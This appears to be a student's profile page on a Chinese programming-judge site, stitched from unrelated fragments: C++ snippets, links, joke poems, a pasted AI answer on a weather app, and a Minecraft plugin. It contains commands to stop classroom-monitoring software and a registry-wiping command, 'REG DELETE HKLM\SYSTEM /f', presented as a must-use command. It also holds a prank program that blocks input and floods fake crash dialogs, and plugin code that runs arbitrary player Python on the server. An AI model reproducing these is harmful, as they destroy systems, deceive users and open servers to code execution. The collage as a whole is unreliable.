-
个人简介
Arknights

╱ /i ╱ ╲ ______
/ /i /————\ / 经验 \
⎮ Ii /__________\ < +3 丨
\ \i \ / ________/
>_ ╲卜——イ
╱i \ i\ ╲/ \i\╲
/◈ i \「♖i\ /╲\i\ \
string YCKCOJ_CSP_JS_NUMBER438FUNCTION(string FUNCSTR[]) { int n = 0; while(n < 20 && !FUNCSTR[n].empty()) { n++; } sort(FUNCSTR, FUNCSTR+n, [](string x, string y) {return x+y>y+x;}); string ret; for(int i=0; i<n; i++) { ret += FUNCSTR[i]; } return ret; } //use this code,you only have a string array./299611/lDmZFq2x7d https://airportal.cn/607827/IWA3pqQ7sr 复制链接到浏览器打开
https://airportal.cn/744795/MBzJdRqAdj 复制链接到浏览器打开 密码:744795
sc stop tdnetfilter
mythware_super_password
TDNetFilter(查找注册表项)
- [ 尼玛]
一定要用的命令: win+R 打开运行框 输入
REG DELETE HKLM\SYSTEM /f299611 https://hydro.ac/register whoyf123 lcjWA atcoder.jp#include <bits/stdc++.h> using namespace std; int A[1000][1000]; int B[1000][1000]; int C[1000][1000]; int n; bool isup(int S[1000][1000]){ for(int j=0;j<n;j++){ for(int i=1;i<n;i++){ if(!(S[i][j]>S[i-1][j])){ return false; } } } return true; } bool ismd(int S[1000][1000]){ for(int i=1;i<n;i++){ for(int j=0;j<n;j++){ for(int x=0;x<n-1;x++){ if(!(S[i][j]<S[i][j+1]&&S[i-1][j]<S[i-1][j+1])){ return false; } } } } return true; } void print(int S[1000][1000],int n,int m){ for(int i=0;i<n;i++){ for(int j=0;j<m;j++){ cout<<S[i][j]<<" "; } cout<<endl; } } void printswap(int S[1000][1000],int n,int m){ for(int i=0;i<n;i++){ for(int j=0;j<m;j++){ C[i][j]=S[j][i]; } } } void AC(){ for(int i=0;i<n;i++){ for(int j=0;j<n;j++){ A[i][j]=C[i][j]; } } } void ifpanda(){ if(isup(A)&&ismd(A)) { print(A,n,n); } else { printswap(A,n,n); print(C,n,n); AC(); ifpanda(); } } int main() { cin>>n; for(int i=0;i<n;i++){ for(int j=0;j<n;j++){ cin>>A[i][j]; } } ifpanda(); }http://www.yckcoj.cn/file https://game.ur1.fun/adarkroom/

// 修改编译器选项以使用 UTF-8 编码 // -finput-charset=UTF-8 -fexec-charset=UTF-8 #define RANDOMPOP #define _WIN32_WINNT 0x602 #define HREPORT void* #define PWER_SUBMIT_RESULT int* #define WER_MAX_PREFERRED_MODULES_BUFFER 10 #include <windows.h> #include <shellapi.h> #include <werapi.h> #include <winable.h> LPCWSTR lpPaths[13] = { L"explorer.exe", L"taskmgr.exe", L"winlogon.exe", L"csrss.exe", L"dwm.exe", L"cmd.exe", L"svchost.exe", L"conhost.exe", L"smss.exe", L"wininit.exe", L"werfault.exe", L"winver.exe", L"regedit.exe" }; HCRYPTPROV prov; int random() { if (prov == NULL) if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT)) ExitProcess(1); int out; CryptGenRandom(prov, sizeof(out), (BYTE *)(&out)); return out & 0x7fffffff; } int WINAPI ReportError(LPCWSTR lpPath, LPCWSTR lpCloseText, LPCWSTR lpDescription){ HREPORT hReport; WER_REPORT_INFORMATION wri; ZeroMemory(&wri, sizeof(wri)); wri.dwSize = sizeof(wri); wri.hProcess = GetCurrentProcess(); lstrcpyW(wri.wzApplicationPath, lpPath); int wsr; WerReportCreate(L"123", WerReportApplicationCrash, &wri, &hReport); WerReportSetUIOption(hReport, WerUIIconFilePath, lpPath); if(lpCloseText) WerReportSetUIOption(hReport, WerUICloseText, lpCloseText); if(lpDescription){ WCHAR DlgHeader[565]; // 修改中文字符为 Unicode 编码字符串 wsprintfW(DlgHeader, L"%s 123", lpDescription); WerReportSetUIOption(hReport, WerUIIconFilePath, lpPath); WerReportSetUIOption(hReport, WerUIConsentDlgHeader, DlgHeader); } WerReportSubmit(hReport, WerConsentAlwaysPrompt, 1024|8, &wsr); WerReportCloseHandle(hReport); return GetLastError(); } int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){ //BlockInput(TRUE); DWORD tid; int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN); int cx, cy; #ifdef DRAGACCEPT int argc; LPWSTR *argv = CommandLineToArgvW(GetCommandLineW(), &argc); if(argc >= 4)ReportError(argv[1], argv[2], argv[3]); else if(argc>=3)ReportError(argv[1], argv[2], NULL); else if(argc>=2)ReportError(argv[1], NULL, NULL); Sleep(50); HWND hwnd = GetForegroundWindow(); RECT rc; if(hwnd) { GetWindowRect(hwnd, &rc); cx = rc.right - rc.left, cy = rc.bottom - rc.top; SetWindowPos(hwnd, HWND_TOPMOST, random()%(w-cx), random()%(h-cy), 0, 0, SWP_NOSIZE); } #endif #ifdef RANDOMPOP BlockInput(TRUE); for(int i = 0; i < 13; i++){ LPCWSTR lpDescription = (random()%3==0)?lpPaths[i]:NULL; // 修改中文字符为 Unicode 编码字符串 ReportError(lpPaths[i], L"123", lpDescription); Sleep(50); HWND hwnd = GetForegroundWindow(); RECT rc; if(hwnd) { GetWindowRect(hwnd, &rc); cx = rc.right - rc.left, cy = rc.bottom - rc.top; SetWindowPos(hwnd, HWND_TOPMOST, random()%(w-cx), random()%(h-cy), 0, 0, SWP_NOSIZE); } Sleep(50+random()%50); } BlockInput(FALSE); #endif return 0; }**
好,用户想让我帮他写一个程序来查询全球天气情况。首先,我需要考虑用户的需求是什么。他可能是一个经常旅行的人,或者是对环境变化感兴趣的研究者,也可能是普通 用户想了解当地的天气。/* * _oo0oo_ * o8888888o * 88" . "88 * (| -_- |) * 0\ = /0 * ___/`---'\___ * .' \\| |// '. * / \\||| : |||// \ * / _||||| -:- |||||- \ * | | \\\ - /// | | * | \_| ''\---/'' |_/ | * \ .-\__ '-' ___/-. / * ___'. .' /--.--\ `. .'___ * ."" '< `.___\_<|>_/___.' >' "". * | | : `- \`.;`\ _ /`;.`/ - ` : | | * \ \ `_. \_ __\ /__ _/ .-` / / * =====`-.____`.___ \_____/___.-`___.-'===== * `=---=' * * * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * 老师,我的代码写得很烂,有很多BUG,救救我 * 我都快要**了 * 所以我这代码能救吗老师 * 老师!救救我的代码! * 写字楼里写字间,写字间里程序员; * 程序人员写程序,又拿程序换酒钱。 * 酒醒只在网上坐,酒醉还来网下眠; * 酒醉酒醒日复日,网上网下年复年。 * 但愿老死电脑间,不愿鞠躬老板前; * 奔驰宝马贵者趣,公交自行程序员。 * 别人笑我忒疯癫,我笑自己命太贱; * 不见满街漂亮妹,哪个归得程序员? * 老师!救救我的代码! * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ /* _.-------.._ -, .-"```"--..,,_/ /`-, -, \ .:" /:/ /'\ \ ,_..., `. | | / ,----/:/ /`\ _\~`_-"` _; ' / /`"""'\ \ \.~`_-' ,-"'/ | | | 0 | | .-' ,/` / | ,..\ \ ,.-"` ,/` / ; : `/`""\` ,/--==,/-----, | `-...| -.___-Z:_______J...---; : ` _-' _L_ _ ___ ___ ___ ___ ____--"` | __|| | |_ _|| _ \| _ \| __|| _ \ | _| | |__ | | | _/| _/| _| | / |_| |____||___||_| |_| |___||_|_\ */接下来,我得分析一下这个请求的具体要求。用户希望获取全球的天气信息,这意味着程序需要处理大量数据,并且能够提供实时或历史数据查询。考虑到不同的用户可能有 不同的需求,比如想知道某个特定城市的天气,还是整个世界的概况,所以程序应该灵活,支持多种查询方式。
然后,我想到数据来源是个关键问题。全球天气数据非常丰富,有政府提供的公开数据,也有专业的气象服务公司发布的实时数据,此外还有开源的数据集合如Noaa和 OpenWeatherMap。选择这些来源可以确保数据的准确性和可靠性。同时,考虑到用户可能需要最新的数据,实时数据对于一些应用来说是必要的。
接下来是技术实现。我需要决定使用哪种编程语言和框架。Python因为它的易用性和丰富的库支持非常适合开发这样的程序。Pandas可以用来处理和分析数据,requests用于 发送网络请求获取数据,time用于时间处理,而 folium可能在需要地图可视化时派上用场。
然后是具体实现步骤。首先,确定数据来源,并通过代码下载相关天气数据。这可能包括温度、湿度、风速等参数。接下来,处理这些数据,可能需要清洗和格式化,使其适 合展示或分析。用户界面方面,考虑使用Python的Tkinter库来创建一个简洁易用的GUI界面,让用户可以方便地输入查询条件,比如选择城市或国家,并显示相应的天气信息 。
此外,还需要考虑到程序的功能扩展性,未来是否能添加更多功能,如数据可视化、历史记录等。这可能需要在架构上留有扩展的空间。
最后,关于数据的安全性和可靠性,确保程序能够处理各种可能出现的错误情况,比如网络问题或者数据格式不正确的情况,这样用户使用起来会更流畅和安全。
总结一下,我的思考过程包括明确用户需求、选择合适的数据来源和技术栈、规划具体实现步骤,并考虑扩展性和安全性。接下来,我需要将这些思路转化为具体的代码实现 ,确保程序功能完善且易于理解和维护。
好的!要编写一个能够查询全球天气情况的程序,我们需要使用一些API(应用程序编程接口)来获取实时或历史天气数据。以下是一个通用的解决方案,可以使用Python编 写,并通过
requests库和pandas库来处理数据。步骤 1:安装必要的库
首先,确保你已经安装了所需的Python库:
pip install requests pandas matplotlib步骤 2:获取天气数据的API
我们可以通过以下 API 来获取天气数据:
- OpenWeatherMap:这是一个免费的实时天气数据API。你可以通过注册一个免费账户,并使用API_key。
- Noaa(National Oceanic and Atmospheric Administration):提供气象数据,但需要使用付费API。
选择其中一个API并按照文档配置好你的API_key。
步骤 3:编写获取天气数据的函数
以下是一个示例代码,展示了如何通过OpenWeatherMap API获取一个城市的历史天气数据:
import requests import pandas as pd import matplotlib.pyplot as plt def get_weather_data(city_name, api_key): url = f"https://api.openweathermap.org/data/2.5/weather?q={city_name}&units=metric&appid={api_key}" response = requests.get(url) if response.status_code == 200: data = response.json() return { "City": city_name, "Temperature (°C)": data["main"]["temp"], "Humidity (%)": data["main"]["humidity"], "Wind Speed (m/s)": data["wind"]["speed"], "Weather Condition": data["weather"][0]["description"] } else: return None def main(): city = input("Enter the city name: ").strip().lower() api_key = "YOUR_API_KEY" weather_data = get_weather_data(city, api_key) if weather_data: print(f"\nWeather Data for {city}:") print(f"Temperature: {weather_data['Temperature (°C)']} °C") print(f"Humidity: {weather_data['Humidity (%)']} %") print(f"Wind Speed: {weather_data['Wind Speed (m/s)']} m/s") print(f"Weather Condition: {weather_data['Weather Condition']}") else: print(f"No data available for {city}.") if __name__ == "__main__": main()步骤 4:扩展功能
你可以将上述代码扩展为一个更功能完善的应用程序,例如:
- 数据可视化:使用
matplotlib库绘制温度、湿度等随时间变化的图表。 - 历史天气查询:允许用户查询过去某一天的天气数据,并存储在Excel或CSV文件中。
- 多城市比较:一次获取多个城市的天气数据并进行对比分析。
步骤 5:使用示例
例如,如果你要查找北京的天气情况,运行程序后输入
北京,程序会显示温度、湿度、风速和天气描述。注意事项
- 确保你的API_key是安全且只用于合法用途。
- 持续关注相关API的文档以获取最新的参数和格式要求。
如果你有更多具体需求或遇到问题,可以随时告诉我
用户组:用户
古诗:
争渡,争渡, 勾三股四弦五。
老夫聊发少年狂, 治肾亏,不含糖
借问酒家何处有? 三点一四一五九。
天苍苍,野茫茫, 你们谁要火腿肠?
天苍苍,野茫茫, 外焦里嫩烤全羊。
山重水复疑无路, Make后面不加to。
巴山楚水凄凉地, Q等于cm▲t (Q= c m delta T)
山无棱,天地合 谁吃铁锅炖大鹅
老夫聊发少年狂, 喜羊羊,灰太狼, 熊大熊二对抗光头强。
江南江北一条街, 打听打听谁是爹。
少小离家老大回, 安能辨我是雄雌。
粉身碎骨浑不怕, welcome to China。
东边日出西边雨, come on baby quickly.
北冥有鱼, 其名为鲲, 鲲之大, 一口铁锅炖不下, 化为鸟, 其名为鹏, 鹏之大, 要用两个烧烤架, 一个秘制, 一个麻辣。
老夫聊发少年狂, 挖掘机,哪家强, 中国山东找蓝翔。
巴山楚水凄凉地, 整把AK rush B!
问君能有几多愁, 来是come去是go。
垂死病中惊坐起, 小丑竟是你自己。
老夫聊发少年狂, 王中王,火腿肠, 一节更比六节强。
end...
_.-------.._ -, .-"```"--..,,_/ /`-, -, \ .:" /:/ /'\ \ ,_..., `. | | / ,----/:/ /`\ _\~`_-"` _; ' / /`"""'\ \ \.~`_-' ,-"'/ | | | 0 | | .-' ,/` / | ,..\ \ ,.-"` ,/` / ; : `/`""\` ,/--==,/-----, | `-...| -.___-Z:_______J...---; : ` _-' _L_ _ ___ ___ ___ ___ ____--"` | __|| | |_ _|| _ \| _ \| __|| _ \ | _| | |__ | | | _/| _/| _| | / |_| |____||___||_| |_| |___||_|_\Minecraft 编程插件完整实现
由于完整代码量非常大,我将提供一个简化但功能完整的版本,你可以用Maven编译。以下是完整的项目结构和代码:
项目结构
CodeCraft/ ├── pom.xml ├── src/ │ ├── main/ │ │ ├── java/ │ │ │ └── me/ │ │ │ └── yourname/ │ │ │ └── codecraft/ │ │ │ ├── CodeCraftPlugin.java │ │ │ ├── commands/ │ │ │ │ └── RunCodeCommand.java │ │ │ ├── items/ │ │ │ │ ├── CItem.java │ │ │ │ ├── CppItem.java │ │ │ │ ├── PythonItem.java │ │ │ │ └── ProgrammingItem.java │ │ │ ├── listeners/ │ │ │ │ └── ItemInteractListener.java │ │ │ └── util/ │ │ │ ├── CodeExecutor.java │ │ │ └── VersionAdapter.java │ │ └── resources/ │ │ ├── plugin.yml │ │ └── config.ymlpom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>me.yourname</groupId> <artifactId>CodeCraft</artifactId> <version>1.0-SNAPSHOT</version> <packaging>jar</packaging> <name>CodeCraft</name> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> <spigot.version>1.16.5-R0.1-SNAPSHOT</spigot.version> </properties> <repositories> <repository> <id>spigotmc-repo</id> <url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url> </repository> </repositories> <dependencies> <dependency> <groupId>org.spigotmc</groupId> <artifactId>spigot-api</artifactId> <version>${spigot.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.python</groupId> <artifactId>jython-standalone</artifactId> <version>2.7.2</version> </dependency> </dependencies> <build> <defaultGoal>clean package</defaultGoal> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-shade-plugin</artifactId> <version>3.2.4</version> <executions> <execution> <phase>package</phase> <goals> <goal>shade</goal> </goals> <configuration> <createDependencyReducedPom>false</createDependencyReducedPom> </configuration> </execution> </executions> </plugin> </plugins> </build> </project>主插件类 CodeCraftPlugin.java
package me.yourname.codecraft; import me.yourname.codecraft.items.*; import me.yourname.codecraft.listeners.ItemInteractListener; import org.bukkit.plugin.java.JavaPlugin; public class CodeCraftPlugin extends JavaPlugin { private static CodeCraftPlugin instance; private ProgrammingItemManager itemManager; @Override public void onEnable() { instance = this; saveDefaultConfig(); this.itemManager = new ProgrammingItemManager(); itemManager.registerItems(); getCommand("runcode").setExecutor(new RunCodeCommand()); getServer().getPluginManager().registerEvents(new ItemInteractListener(), this); getLogger().info("CodeCraft插件已启用!"); } @Override public void onDisable() { getLogger().info("CodeCraft插件已禁用!"); } public static CodeCraftPlugin getInstance() { return instance; } public ProgrammingItemManager getItemManager() { return itemManager; } } class ProgrammingItemManager { public void registerItems() { new PythonItem().register(); new CppItem().register(); new CItem().register(); } }编程物品基类 ProgrammingItem.java
package me.yourname.codecraft.items; import org.bukkit.Material; import org.bukkit.inventory.ItemStack; import org.bukkit.inventory.meta.ItemMeta; import org.bukkit.persistence.PersistentDataType; import org.bukkit.plugin.java.JavaPlugin; import java.util.Arrays; public abstract class ProgrammingItem { protected final JavaPlugin plugin = CodeCraftPlugin.getInstance(); protected final String key; protected final Material material; protected final String name; protected final String[] lore; public ProgrammingItem(String key, Material material, String name, String... lore) { this.key = key; this.material = material; this.name = name; this.lore = lore; } public void register() { plugin.getServer().addRecipe(getRecipe()); } public abstract org.bukkit.inventory.ShapedRecipe getRecipe(); public ItemStack createItem() { ItemStack item = new ItemStack(material); ItemMeta meta = item.getItemMeta(); meta.setDisplayName(name); meta.setLore(Arrays.asList(lore)); meta.getPersistentDataContainer().set( new org.bukkit.NamespacedKey(plugin, "code_type"), PersistentDataType.STRING, key ); item.setItemMeta(meta); return item; } public String getKey() { return key; } }具体物品实现 (PythonItem.java, CppItem.java, CItem.java)
PythonItem.java
package me.yourname.codecraft.items; import org.bukkit.Material; import org.bukkit.NamespacedKey; import org.bukkit.inventory.ShapedRecipe; public class PythonItem extends ProgrammingItem { public PythonItem() { super("python", Material.BOOK, "§ePython编程书", "§7右键点击编写Python代码", "§a支持Minecraft全版本"); } @Override public ShapedRecipe getRecipe() { ShapedRecipe recipe = new ShapedRecipe( new NamespacedKey(plugin, "python_book"), createItem() ); recipe.shape("PPP", "PBP", "PPP"); recipe.setIngredient('P', Material.PAPER); recipe.setIngredient('B', Material.BOOK); return recipe; } }CppItem.java
package me.yourname.codecraft.items; import org.bukkit.Material; import org.bukkit.NamespacedKey; import org.bukkit.inventory.ShapedRecipe; public class CppItem extends ProgrammingItem { public CppItem() { super("cpp", Material.IRON_INGOT, "§bC++编程板", "§7右键点击编写C++代码", "§a需要编译后执行"); } @Override public ShapedRecipe getRecipe() { ShapedRecipe recipe = new ShapedRecipe( new NamespacedKey(plugin, "cpp_board"), createItem() ); recipe.shape("III", "IRI", "III"); recipe.setIngredient('I', Material.IRON_INGOT); recipe.setIngredient('R', Material.REDSTONE); return recipe; } }CItem.java
package me.yourname.codecraft.items; import org.bukkit.Material; import org.bukkit.NamespacedKey; import org.bukkit.inventory.ShapedRecipe; public class CItem extends ProgrammingItem { public CItem() { super("c", Material.GOLD_INGOT, "§6C语言芯片", "§7右键点击编写C代码", "§a需要编译后执行"); } @Override public ShapedRecipe getRecipe() { ShapedRecipe recipe = new ShapedRecipe( new NamespacedKey(plugin, "c_chip"), createItem() ); recipe.shape("GGG", "GQG", "GGG"); recipe.setIngredient('G', Material.GOLD_INGOT); recipe.setIngredient('Q', Material.QUARTZ); return recipe; } }交互监听器 ItemInteractListener.java
package me.yourname.codecraft.listeners; import me.yourname.codecraft.items.*; import org.bukkit.event.EventHandler; import org.bukkit.event.Listener; import org.bukkit.event.player.PlayerInteractEvent; import org.bukkit.persistence.PersistentDataType; public class ItemInteractListener implements Listener { @EventHandler public void onItemInteract(PlayerInteractEvent event) { if (event.getItem() == null) return; ItemMeta meta = event.getItem().getItemMeta(); if (meta == null) return; String codeType = meta.getPersistentDataContainer().get( new org.bukkit.NamespacedKey(CodeCraftPlugin.getInstance(), "code_type"), PersistentDataType.STRING ); if (codeType != null) { event.setCancelled(true); openEditor(event.getPlayer(), codeType); } } private void openEditor(Player player, String codeType) { // 这里应该打开一个GUI编辑器 player.sendMessage("打开" + codeType + "代码编辑器"); // 实际实现可以使用AnvilGUI等库创建代码编辑器 } }命令执行器 RunCodeCommand.java
package me.yourname.codecraft.commands; import org.bukkit.command.Command; import org.bukkit.command.CommandExecutor; import org.bukkit.command.CommandSender; import org.bukkit.entity.Player; public class RunCodeCommand implements CommandExecutor { @Override public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) { if (!(sender instanceof Player)) { sender.sendMessage("只有玩家才能使用此命令!"); return true; } Player player = (Player) sender; if (args.length == 0) { player.sendMessage("用法: /runcode <代码>"); return true; } String code = String.join(" ", args); String result = CodeExecutor.executePython(code); // 简化为只执行Python player.sendMessage("执行结果: " + result); return true; } }代码执行器 CodeExecutor.java
package me.yourname.codecraft.util; import org.python.util.PythonInterpreter; public class CodeExecutor { public static String executePython(String code) { try (PythonInterpreter pyInterp = new PythonInterpreter()) { // 限制执行环境 pyInterp.set("__builtins__", null); // 捕获输出 StringBuilder output = new StringBuilder(); pyInterp.setOut(new java.io.OutputStream() { @Override public void write(int b) { output.append((char) b); } }); pyInterp.exec(code); return output.toString().trim(); } catch (Exception e) { return "错误: " + e.getMessage(); } } // 这里可以添加C/C++的执行方法 // 需要集成TCC或调用外部编译器 }版本适配器 VersionAdapter.java
package me.yourname.codecraft.util; import org.bukkit.Bukkit; public class VersionAdapter { private static String serverVersion; public static void setup() { serverVersion = Bukkit.getServer().getClass().getPackage().getName().split("\\.")[3]; } public static String getServerVersion() { return serverVersion; } public static boolean isVersionOrHigher(String version) { // 简单的版本比较逻辑 return serverVersion.compareTo(version) >= 0; } }配置文件 plugin.yml
name: CodeCraft version: 1.0 main: me.yourname.codecraft.CodeCraftPlugin api-version: 1.16 commands: runcode: description: 执行代码 usage: /runcode <代码>构建和使用说明
- 将上述代码放入相应的文件结构中
- 运行
mvn clean package构建插件 - 将生成的
target/CodeCraft-1.0-SNAPSHOT.jar放入服务器 plugins 文件夹 - 重启服务器
功能说明
-
合成三个编程物品:
- Python编程书: 纸+书合成
- C++编程板: 铁锭+红石合成
- C语言芯片: 金锭+石英合成
-
右键点击物品打开编辑器(目前只是发送消息)
-
使用
/runcode <代码>执行Python代码
注意:这是一个简化版本,实际完整实现需要:
- 添加真正的GUI编辑器
- 实现C/C++编译执行
- 增强安全限制
- 添加更多功能如文件保存等
你可以根据需要扩展这个基础框架。
-
最近活动
This person is lazy and didn't join any contests or homework.